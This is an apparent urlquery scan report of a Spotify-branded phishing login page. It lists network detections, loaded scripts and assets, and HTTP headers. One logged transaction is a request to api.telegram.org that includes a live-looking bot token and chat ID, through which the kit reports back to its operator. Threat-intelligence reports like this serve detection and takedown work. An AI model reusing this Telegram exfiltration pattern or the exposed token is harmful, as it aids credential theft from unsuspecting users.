Report - jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php

Report Overview

Submitted URL
jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
IP
50.87.180.48
ASN
#46606 UNIFIEDLAYER-AS-1
Submitted
2024-04-20 13:22:22
Access
public
Website Title
Login - Spotify
Final URL
jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Tags
spotify phishing music suspicious
urlquery detections
Phishing - Spotify
Suspicious - Suspicious Javascript code

Detections

urlquery
17
Network Intrusion Detection
1
Threat Detection Systems
0

Domain Summary

Domain / FQDN	Rank	Registered	First Seen	Last Seen	Sent	Received	IP
api.telegram.org	38509	2003-12-15	2015-06-25	2024-04-18	572 B	799 B	149.154.167.220
jlk.gaz.mybluehost.me	unknown	2016-10-05	2023-05-21	2024-03-25	6.4 kB	717 kB	50.87.180.48

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

Timestamp	Severity	Source IP	Destination IP	Alert
2024-04-20 13:21:58	low	Client IP	149.154.167.220	ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)

Threat Detection Systems

Public InfoSec YARA rules

No alerts detected

OpenPhish

No alerts detected

PhishTank

No alerts detected

mnemonic secure dns

No alerts detected

Quad9 DNS

No alerts detected

ThreatFox

No alerts detected

JavaScript (5)

	URL	Size	First Seen	Last Seen
	jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery.main.js	228 kB	2024-04-11	2024-04-23
Pretty URL jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery.main.js IP 50.87.180.48 ASN #46606 UNIFIEDLAYER-AS-1 Introduced by scriptElement Embedded in HTML false Observations First Seen2024-04-11 16:19:00 Last Seen2024-04-23 02:04:32 Times Seen9 Hash 66fb6c8abaca445f0c0ffc2b27f3f3dd 63061affefa7702419da97183720c1f5ab49f8a9 a6bff4e2815221172a06d1a88c45638ef1174723cc206ec84fe324dda0c60d1c Loading...

	jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php	0 B	2023-03-07	2024-05-03
Pretty URL jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php IP 50.87.180.48 ASN #46606 UNIFIEDLAYER-AS-1 Introduced by scriptElement Embedded in HTML true Observations First Seen2023-03-07 01:01:59 Last Seen2024-05-03 18:58:38 Times Seen37311276 Hash d41d8cd98f00b204e9800998ecf8427e da39a3ee5e6b4b0d3255bfef95601890afd80709 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 Loading...

	jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php	0 B	2023-03-07	2024-05-03
Pretty URL jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php IP 50.87.180.48 ASN #46606 UNIFIEDLAYER-AS-1 Introduced by scriptElement Embedded in HTML true Observations First Seen2023-03-07 01:01:59 Last Seen2024-05-03 18:58:38 Times Seen37311276 Hash d41d8cd98f00b204e9800998ecf8427e da39a3ee5e6b4b0d3255bfef95601890afd80709 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 Loading...

	jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery-3.5.1.min.js	90 kB	2023-03-07	2024-05-03
Pretty URL jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery-3.5.1.min.js IP 50.87.180.48 ASN #46606 UNIFIEDLAYER-AS-1 Introduced by scriptElement Embedded in HTML false Observations First Seen2023-03-07 01:02:01 Last Seen2024-05-03 18:45:16 Times Seen141189 Hash dc5e7f18c8d36ac1d3d4753a87c98d0a c8e1c8b386dc5b7a9184c763c88d19a346eb3342 f7f6a5894f1d19ddad6fa392b2ece2c5e578cbf7da4ea805b6885eb6985b6e3d Loading...

	jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery.mask.js	23 kB	2023-03-07	2024-05-03
Pretty URL jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery.mask.js IP 50.87.180.48 ASN #46606 UNIFIEDLAYER-AS-1 Introduced by scriptElement Embedded in HTML false Observations First Seen2023-03-07 01:19:34 Last Seen2024-05-03 03:38:30 Times Seen2712 Hash 24992f1ed62baf9393609f3c6c2ad20e 34716cf70f7f7a9cd072e7796c34ce987f85d18c a199620fe981df00a825f78761d3f7c8870f8117daa4a890e08018dec386dae8 Loading...

HTTP Transactions (14)

URL IP Response Size

jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php

50.87.180.48

200 OK

2.9 kB

URL User Request GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
JavaScript source, Unicode text, UTF-8 text
Size
2.9 kB (2874 bytes)
Hash
5e7acbab7868b6b56eb345a2206b5d86
45811aec7b4beb3b9d103d555bb5dc9080905669
762fefd4f0ef6c6d1af94e60039040717f2835f7456a57071541c9c52b39e69b

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/login.php HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Upgrade-Insecure-Requests: 1
Connection: keep-alive
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
date: Sat, 20 Apr 2024 13:21:57 GMT
server: nginx/1.21.6
content-type: text/html; charset=UTF-8
content-length: 2874
cache-control: max-age=7200
expires: Sat, 20 Apr 2024 15:21:57 GMT
vary: Accept-Encoding
content-encoding: gzip
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
x-newfold-cache-level: 2
x-endurance-cache-level: 2
x-nginx-cache: WordPress
x-server-cache: false
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/style/main.css

50.87.180.48

200 OK

5.4 kB

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/style/main.css
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
ASCII text
Size
5.4 kB (5360 bytes)
Hash
02df384f450d7ad78b88ec5fb76dd853
460dd2170b639f1138f9163b98fa22e866e99c53
01e01a37d4f0381dc7864c72c4882eec1093a2580ee5df5683aef9de42a55662

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/style/main.css HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers

HTTP/2 200 OK
last-modified: Fri, 05 Apr 2024 21:07:02 GMT
accept-ranges: bytes
cache-control: max-age=2592000
expires: Mon, 20 May 2024 13:21:58 GMT
vary: Accept-Encoding
content-encoding: gzip
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
x-newfold-cache-level: 2
x-endurance-cache-level: 2
x-nginx-cache: WordPress
content-length: 5360
content-type: text/css
date: Sat, 20 Apr 2024 13:21:58 GMT
server: Apache
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/img/icon-loader-32@3x.png

50.87.180.48

200 OK

4.6 kB

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/img/icon-loader-32@3x.png
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Size
4.6 kB (4567 bytes)
Hash
5c1ec67a747c33801d716e24e99cec7a
93f2b4ec97601ac84a81318d4bc937d39caad4b7
23248741c76ca3d003122a50aacffd608d0d568c7048b296ef73a1ec1ca59c5d

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/img/icon-loader-32@3x.png HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers

HTTP/2 200 OK
last-modified: Fri, 05 Apr 2024 21:07:02 GMT
accept-ranges: bytes
content-length: 4567
cache-control: max-age=31536000
expires: Sun, 20 Apr 2025 13:21:58 GMT
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
x-newfold-cache-level: 2
x-endurance-cache-level: 2
x-nginx-cache: WordPress
content-type: image/png
date: Sat, 20 Apr 2024 13:21:58 GMT
server: Apache
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/style/react.css

50.87.180.48

200 OK

10 kB

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/style/react.css
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
Unicode text, UTF-8 text
Size
10 kB (10146 bytes)
Hash
be9a4676da9c3464279649b37ca215a3
330b3c62d6b4d5fa21f16500c9f1eadca3d19872
e9a54209a2f25283c8094474355c21b4e26e2a26f5add36f4ea8993299fdf15c

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/style/react.css HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers

HTTP/2 200 OK
last-modified: Fri, 05 Apr 2024 21:07:02 GMT
accept-ranges: bytes
cache-control: max-age=2592000
expires: Mon, 20 May 2024 13:21:58 GMT
vary: Accept-Encoding
content-encoding: gzip
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
x-newfold-cache-level: 2
x-endurance-cache-level: 2
x-nginx-cache: WordPress
content-length: 10146
content-type: text/css
date: Sat, 20 Apr 2024 13:21:58 GMT
server: Apache
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/img/ico/logo.png

50.87.180.48

200 OK

44 kB

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/img/ico/logo.png
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
PNG image data, 2362 x 708, 8-bit/color RGBA, non-interlaced
Size
44 kB (43822 bytes)
Hash
31bad8d4fc4413d54f8c19930d3739b9
b2ca5d63d322953dba109cbc3a2430fbd4dbe803
97a0c92b395b4a299340f3aeab3e4119023567d1a5813e6e7d02c07705a34beb

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/img/ico/logo.png HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers

HTTP/2 200 OK
last-modified: Fri, 05 Apr 2024 21:07:02 GMT
accept-ranges: bytes
content-length: 43822
cache-control: max-age=31536000
expires: Sun, 20 Apr 2025 13:21:58 GMT
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
x-newfold-cache-level: 2
x-endurance-cache-level: 2
x-nginx-cache: WordPress
content-type: image/png
date: Sat, 20 Apr 2024 13:21:58 GMT
server: Apache
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery.mask.js

50.87.180.48

200 OK

6.8 kB

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery.mask.js
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
JavaScript source, ASCII text
Size
6.8 kB (6846 bytes)
Hash
24992f1ed62baf9393609f3c6c2ad20e
34716cf70f7f7a9cd072e7796c34ce987f85d18c
a199620fe981df00a825f78761d3f7c8870f8117daa4a890e08018dec386dae8

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/js/jquery.mask.js HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers

HTTP/2 200 OK
last-modified: Wed, 25 Mar 2020 05:30:48 GMT
accept-ranges: bytes
cache-control: max-age=21600
expires: Sat, 20 Apr 2024 19:21:58 GMT
vary: Accept-Encoding
content-encoding: gzip
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
x-newfold-cache-level: 2
x-endurance-cache-level: 2
x-nginx-cache: WordPress
content-length: 6846
content-type: application/javascript
date: Sat, 20 Apr 2024 13:21:58 GMT
server: Apache
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/fonts/Avenir-Roman-12.woff

50.87.180.48

404 Not Found

315 B

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/fonts/Avenir-Roman-12.woff
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
HTML document, ASCII text
Size
315 B (315 bytes)
Hash
a34ac19f4afae63adc5d2f7bc970c07f
a82190fc530c265aa40a045c21770d967f4767b8
d5a89e26beae0bc03ad18a0b0d1d3d75f87c32047879d25da11970cb5c4662a3

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/fonts/Avenir-Roman-12.woff HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/style/main.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers

HTTP/2 404 Not Found
content-length: 315
content-type: text/html; charset=iso-8859-1
date: Sat, 20 Apr 2024 13:21:58 GMT
server: Apache
X-Firefox-Spdy: h2

api.telegram.org/bot7021401757:AAHdaFddNtT_kGMNMEvKbBxtSgcllJLLZrM/sendMessage?chat_id=-1002054285445&text=Server%20Location:https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php&_=1713619318764

149.154.167.220

200 OK

414 B

URL GET HTTP/2
api.telegram.org/bot7021401757:AAHdaFddNtT_kGMNMEvKbBxtSgcllJLLZrM/sendMessage?chat_id=-1002054285445&text=Server%20Location:https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php&_=1713619318764
IP
149.154.167.220:443
ASN
#62041 Telegram Messenger Inc

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerGoDaddy.com, Inc.
Subjectapi.telegram.org
Fingerprint1F:77:5F:20:C5:D3:BD:67:DE:E8:07:9B:59:1D:22:E9:C0:E4:52:4B
ValiditySun, 24 Mar 2024 13:08:48 GMT - Fri, 25 Apr 2025 13:08:48 GMT

File type
JSON text data
Size
414 B (414 bytes)
Hash
e7dcbf8a09794dc5ceafe8cf8d0fae38
470ba66b986e3e8446e88f2787a2f89aa082f470
dfb2f5182092f2da0c53498c01c22bba0b50929421959164f69eb9c05685092a

HTTP Headers

GET /bot7021401757:AAHdaFddNtT_kGMNMEvKbBxtSgcllJLLZrM/sendMessage?chat_id=-1002054285445&text=Server%20Location:https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php&_=1713619318764 HTTP/1.1
Host: api.telegram.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
server: nginx/1.18.0
date: Sat, 20 Apr 2024 13:21:58 GMT
content-type: application/json
content-length: 414
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
access-control-allow-methods: GET, POST, OPTIONS
access-control-expose-headers: Content-Length,Content-Type,Date,Server,Connection
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/fonts/Avenir-Roman-12.ttf

50.87.180.48

404 Not Found

315 B

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/fonts/Avenir-Roman-12.ttf
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
HTML document, ASCII text
Size
315 B (315 bytes)
Hash
a34ac19f4afae63adc5d2f7bc970c07f
a82190fc530c265aa40a045c21770d967f4767b8
d5a89e26beae0bc03ad18a0b0d1d3d75f87c32047879d25da11970cb5c4662a3

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/fonts/Avenir-Roman-12.ttf HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/style/main.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers

HTTP/2 404 Not Found
date: Sat, 20 Apr 2024 13:21:59 GMT
server: nginx/1.21.6
content-type: text/html; charset=iso-8859-1
content-length: 315
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/img/ico/apple-touch-icon.png

50.87.180.48

200 OK

2.6 kB

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/img/ico/apple-touch-icon.png
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
PNG image data, 128 x 128, 8-bit colormap, non-interlaced
Size
2.6 kB (2620 bytes)
Hash
195b9a25549ffe0dd4e716cee3746b50
e9311e427f0f2c1af3f5e36f2b5a6b6964399686
055610651219cf747ebc5eefbeb840db1ed5e16f5024aa6232ad104e75f54dd4

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/img/ico/apple-touch-icon.png HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers

HTTP/2 200 OK
last-modified: Fri, 05 Apr 2024 21:07:02 GMT
accept-ranges: bytes
content-length: 2620
cache-control: max-age=31536000
expires: Sun, 20 Apr 2025 13:21:59 GMT
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
x-newfold-cache-level: 2
x-endurance-cache-level: 2
x-nginx-cache: WordPress
content-type: image/png
date: Sat, 20 Apr 2024 13:21:59 GMT
server: Apache
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/img/ico/spotico.ico

50.87.180.48

200 OK

5.4 kB

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/img/ico/spotico.ico
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Size
5.4 kB (5430 bytes)
Hash
ace4d8543bbb017893402a1e9d1ac1fa
70a0e66f27ae1b004628117d4d9e9b4110f91651
d2534e9fb333a6e277f1edf9b9843564e094027fb79979081e41fd778c339ae5

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/img/ico/spotico.ico HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers

HTTP/2 200 OK
date: Sat, 20 Apr 2024 13:21:59 GMT
server: nginx/1.21.6
content-type: image/x-icon
content-length: 5430
last-modified: Fri, 05 Apr 2024 21:07:02 GMT
accept-ranges: bytes
cache-control: max-age=31536000
expires: Sun, 20 Apr 2025 13:21:59 GMT
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
x-newfold-cache-level: 2
x-endurance-cache-level: 2
x-nginx-cache: WordPress
x-server-cache: false
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery-3.5.1.min.js

50.87.180.48

200 OK

90 kB

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery-3.5.1.min.js
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
JavaScript source, ASCII text, with very long lines (65451)
Size
90 kB (89476 bytes)
Hash
dc5e7f18c8d36ac1d3d4753a87c98d0a
c8e1c8b386dc5b7a9184c763c88d19a346eb3342
f7f6a5894f1d19ddad6fa392b2ece2c5e578cbf7da4ea805b6885eb6985b6e3d

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/js/jquery-3.5.1.min.js HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
last-modified: Fri, 29 Jan 2021 17:36:20 GMT
accept-ranges: bytes
cache-control: max-age=21600
expires: Sat, 20 Apr 2024 19:21:58 GMT
vary: Accept-Encoding
content-encoding: gzip
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
x-newfold-cache-level: 2
x-endurance-cache-level: 2
x-nginx-cache: WordPress
content-type: application/javascript
date: Sat, 20 Apr 2024 13:21:58 GMT
server: Apache
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/style/app_styles_bundle.css

50.87.180.48

200 OK

312 kB

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/style/app_styles_bundle.css
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
